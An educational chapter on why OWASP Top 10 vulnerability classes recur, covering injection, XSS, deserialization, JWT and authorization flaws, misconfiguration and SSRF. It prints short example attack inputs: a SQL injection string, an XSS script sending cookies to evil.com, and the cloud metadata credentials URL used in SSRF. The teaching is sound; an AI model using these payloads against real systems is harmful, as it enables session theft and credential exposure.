Glenn Lum Software Engineering

3.2.3 The OWASP Top 10: The Recurring Vulnerability Classes

Most engineers can name the OWASP Top 10 categories, or at least rattle off “SQL injection, XSS, broken auth.” What they cannot explain is why the same categories have appeared on the list since 2003. Injection has been there for over two decades. Broken access control has never left. The list reshuffles every few years — categories merge, split, get renamed — but the underlying vulnerability classes persist. This is not because the industry is failing to try. It is because these categories are not bugs. They are structural consequences of how software systems are designed. Every new framework, every new protocol, every new abstraction layer inherits the same foundational tensions that produce them. Memorizing the list tells you what to look for. Understanding the structural reasons tells you where to look and why your defenses will eventually have gaps.

The Data-Code Confusion Problem

The single most persistent class of vulnerability comes from a fact so basic it is easy to overlook: most systems transmit data and instructions through the same channel. Injection, cross-site scripting, and insecure deserialization are all manifestations of this one architectural reality.

Injection as Grammar Collision

SQL injection is the canonical example. A SQL query is a string that contains both structure (the operations, the table references, the logical conditions) and values (the data being queried against). When you construct a query by concatenating user input directly into that string:

query = "SELECT * FROM users WHERE email = '" + userInput + "'";

you are asking the SQL parser to distinguish between the structural parts you wrote and the data parts the user provided. It cannot, because they occupy the same grammar. If userInput contains ' OR 1=1 --, the parser sees a valid SQL statement that returns all rows. The attacker did not “break” anything — they wrote valid SQL, and your system executed it.

This exact pattern recurs in every system where untrusted input enters a structured language: shell commands (command injection), LDAP queries (LDAP injection), server-side template engines (template injection), and XML parsers (XXE). The language changes, the mechanism is identical.

Parameterization is the structural fix. A prepared statement separates the query structure from the data values at the protocol level. The database receives SELECT * FROM users WHERE email = ? as a parsed query plan, and then receives the user input as a bound parameter that is never parsed as SQL. The data arrives after the parser has finished its work. It cannot become code because the parsing phase is already complete.

The reason injection persists despite parameterization being well-understood: parameterization only works for values. You cannot parameterize table names, column names, ORDER BY directions, or dynamic schema references — these are structural elements of the query. Any application with dynamic reporting, user-configurable sorting, or multi-tenant schema selection eventually needs to construct some part of the query structure from input. Developers reach for string concatenation because it works, and the vulnerability reappears.

XSS as Browser-Side Injection

Cross-site scripting is the same data-code confusion, relocated to the browser. When a server embeds user-controlled content into an HTML response, the browser’s parser does not distinguish between markup the developer intended and markup an attacker injected. A stored comment containing <script>document.location='https://evil.com/steal?c='+document.cookie</script> executes in every browser that renders it, because to the parser, it is valid HTML.

Context-aware output encoding is the parameterization equivalent for HTML. But “context-aware” is doing real work in that phrase. Data embedded inside an HTML element body needs HTML entity encoding. Data inside an HTML attribute needs attribute encoding. Data inside a JavaScript block needs JavaScript string escaping. Data inside a URL parameter needs URL encoding. Most template engines auto-escape for exactly one context — HTML body — and provide escape hatches (| safe in Jinja2, {!! !!} in Blade, dangerouslySetInnerHTML in React) that developers invoke whenever they need to render rich content. Every invocation is a place where the framework’s protection is explicitly removed.

Deserialization as Disguised Code Execution

Insecure deserialization is a subtler version of the same problem, and it is more dangerous precisely because it does not look like code execution. Serialization formats like Java’s ObjectInputStream, Python’s pickle, or PHP’s unserialize() encode not just data values but type information, class references, and object structure. Deserializing untrusted input means asking your runtime to instantiate objects based on instructions from an external source.

If any class on your application’s classpath has side effects during instantiation — a constructor that opens a file, a readObject() method that executes a command, a finalizer that makes a network call — an attacker can craft a serialized payload that triggers those side effects with attacker-controlled arguments. Gadget chain attacks compose multiple such classes together to achieve arbitrary code execution using nothing but classes that already exist in your application or its dependencies. The attacker does not upload code. They provide a data structure that causes your existing code to execute in an unintended sequence.

The critical insight: deserialization of native object formats is code execution. Treating it as “just parsing data” is the conceptual error that makes the vulnerability possible. Safer alternatives — JSON, Protocol Buffers, MessagePack — encode only data values without type instantiation, which is why migrating away from native serialization formats is the structural fix rather than trying to filter malicious payloads.

The Identity-Authority Gap

Authentication (who are you?) and authorization (what are you allowed to do?) fail for different structural reasons, but both stem from the same root: HTTP is stateless, and bolting identity and permissions onto a stateless protocol creates attack surface at every joint.

Authentication as Session Lifecycle

Authentication does not happen once. It produces a token — a session cookie, a JWT, a bearer token — that is transmitted on every subsequent request. The security of authentication is therefore the security of that token’s entire lifecycle: creation, transmission, storage, validation, and revocation.

JWTs illustrate the tradeoffs. By encoding session state into the token itself, JWTs eliminate server-side session storage. But a JWT cannot be revoked once issued without building a server-side revocation list, which reintroduces the server-side state the JWT was designed to eliminate. Algorithm confusion attacks exploit the fact that the JWT header declares its own validation algorithm: an attacker changes the alg field from RS256 to HS256 and signs the token using the server’s RSA public key as the HMAC secret. If the server’s verification code naively trusts the alg field, it accepts the forged token. The token declared how to verify itself, and the server obeyed.

These are not implementation bugs in the usual sense. They are consequences of the design choice to make tokens self-describing. Every feature of the authentication mechanism — statelessness, self-contained claims, flexible algorithms — creates a corresponding attack surface.

Authorization as the Missing Enforcement Layer

Authorization failures are more structurally persistent than authentication failures because there is no universal mechanism for enforcing them. Every application has its own permission model, and that model must be checked on every access path to every resource.

The failure pattern is almost always the same: the developer enforces authorization in the UI layer (hiding buttons, omitting menu items) but not at the API or data access layer. An Insecure Direct Object Reference (IDOR) is the textbook case. If /api/invoices/12345 returns an invoice and the only thing preventing user A from reading user B’s invoice is that the UI does not show the link, the authorization control is the obscurity of the identifier. Sequential IDs make this trivially enumerable. UUIDs make it harder to guess but do not constitute an authorization check — the server must verify on every request that the authenticated identity has permission to access the specific resource.

The reason this persists: authorization logic is business logic. It cannot be abstracted away by a framework in the same way that parameterized queries abstract away injection prevention. A middleware can check “is this user authenticated?” It cannot check “is this user allowed to modify this specific resource in this specific state?” without knowing the application’s domain rules. This means authorization enforcement requires deliberate, per-endpoint work that is easy to miss on one out of fifty routes.

The Default Configuration Problem

Frameworks and infrastructure ship with defaults optimized for a fast first experience, not for production security. This is a rational choice by framework authors — a framework that required TLS configuration, CORS lockdown, and RBAC setup before serving a single response would lose to one that starts with npm start. The consequence is a gap between “running” and “secure” that is filled with configuration changes the developer must know to make.

A default Django installation runs with DEBUG=True, leaking stack traces, environment variables, and SQL queries to anyone who triggers an error. Elasticsearch prior to version 8 shipped without authentication. Kubernetes API servers, if network-exposed without RBAC, grant full cluster administration. Default cloud storage bucket policies have varied between providers and versions, producing waves of public data exposure.

The structural reason misconfiguration persists is that it is non-symptomatic. A misconfigured system runs correctly. It serves traffic, passes functional tests, and satisfies every quality gate that does not explicitly test for secure configuration. There is no compilation error for an overly permissive CORS header. There is no runtime exception for a missing rate limit. The vulnerability is invisible until exploited, which means it survives every development workflow stage that only checks for functional correctness.

And the configuration surface area grows with each architectural layer. The application has security-relevant settings. So does the web server, the container runtime, the orchestration layer, the cloud IAM policies, the network rules, and the CDN. Each layer has its own defaults, its own documentation, and its own definition of “secure.” Auditing all of them requires expertise in all of them.

Trust Boundary Confusion

Server-Side Request Forgery (SSRF) earned its own OWASP Top 10 entry in 2021 because the architectural pattern that produces it — servers making HTTP requests on behalf of users — has become ubiquitous. URL preview rendering, webhook delivery, file import from URL, federation protocols: all of these involve the server fetching a resource from a user-specified address.

The problem: the server makes that request from inside the network boundary. It can reach internal services, cloud metadata endpoints, and private network ranges that the external user cannot. A request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the user’s browser returns nothing. The same request from the server, inside the cloud VPC, returns IAM credentials. The 2019 Capital One breach exploited exactly this pattern — an SSRF in a web application firewall retrieved temporary credentials from the EC2 metadata service, giving the attacker access to S3 buckets containing 100 million customer records.

SSRF persists because the trust model is implicit. Network accessibility is treated as an authorization signal — “if I can reach it, I’m allowed to reach it” — but the request is being made on behalf of an external actor who should not inherit the server’s network position. The server’s network access is a deployment privilege, not a user privilege, and no part of the default HTTP library stack enforces that distinction.

The Checklist Trap and Framework Overconfidence

The most damaging failure mode is treating the OWASP Top 10 as a finite list to be completed. Organizations run SAST scans, see no findings in OWASP categories, and declare themselves secure. But automated tools detect known patterns in code syntax. A business logic flaw that allows privilege escalation through a valid sequence of API calls, an authorization bypass that depends on understanding the domain model, or a novel injection vector through a custom query language — none of these will appear in a scan report.

The second failure mode is framework overconfidence. Modern frameworks have genuinely reduced the incidence of several vulnerability classes: ORMs parameterize queries by default, template engines auto-escape output, CSRF middleware generates tokens. But every framework provides escape hatches for legitimate needs. The moment you write a raw SQL query because the ORM cannot express your aggregation efficiently, you have stepped outside parameterization. The moment you mark template output as safe because you need to render user-authored HTML, you have disabled XSS protection. The vulnerability appears at exactly the point where the developer exercises the escape hatch without recognizing they have left the safety net.

Finally, every security control carries operational cost. Input validation rejects legitimate data (users named O’Brien, addresses with angle brackets). Strict Content Security Policy headers break third-party scripts. Network policies that prevent lateral movement also prevent engineers from debugging across services. Teams that do not explicitly account for this friction will erode their security controls under delivery pressure, one exception at a time.

The Structural Model

The OWASP Top 10 categories are not ten independent bugs. They are symptoms of four structural tensions inherent in how software is built: the mixing of code and data in shared channels (injection, XSS, deserialization), the bolting of state and identity onto a stateless protocol (broken authentication, broken access control), the gap between functional defaults and secure defaults (security misconfiguration), and the implicit inheritance of network trust by user-initiated actions (SSRF).

These tensions are not resolved by patching individual vulnerabilities. They are managed by recognizing which tension is present at each point in your system and enforcing the appropriate structural boundary: parameterization where data meets code, server-side enforcement where identity meets authorization decisions, explicit configuration audit for every new component, and input validation plus network restriction where user input crosses trust boundaries.

When you adopt a new framework, integrate a new service, or build a new feature, the productive question is not “does this have OWASP vulnerabilities?” The question is: which of these four tensions does this component introduce, and where is the boundary I need to build?

Key Takeaways

  • Injection, XSS, and insecure deserialization are all manifestations of one structural problem: data and code sharing the same channel, allowing untrusted input to be parsed as instructions.

  • Parameterization works by separating parsing from data binding — the fix is structural separation, not input filtering — but it only applies to values, not to dynamic structural elements of queries, which is why injection persists even in codebases that use ORMs.

  • Authorization failures are more persistent than authentication failures because authorization is business logic that must be enforced per-endpoint and per-resource; no framework can abstract it away generically.

  • Security misconfiguration survives every quality gate that only tests functional correctness, because a misconfigured system runs without errors — the vulnerability is invisible until exploited.

  • SSRF exploits the implicit assumption that network accessibility equals authorization; the server’s network position is a deployment privilege that user-initiated requests should not inherit.

  • Framework security defaults (auto-escaping, CSRF tokens, parameterized queries) are genuine progress, but every framework provides escape hatches, and vulnerabilities cluster at exactly the points where developers use them.

  • Treating the OWASP Top 10 as a checklist to complete, rather than a taxonomy of structural tensions to manage, produces false confidence that automated scanning reinforces.

  • The four underlying tensions — data-code confusion, stateless identity management, insecure defaults, and trust boundary inheritance — recur in every new technology stack, and recognizing which tension applies is more durable than memorizing which vulnerability category matches which tool.

← Back to Home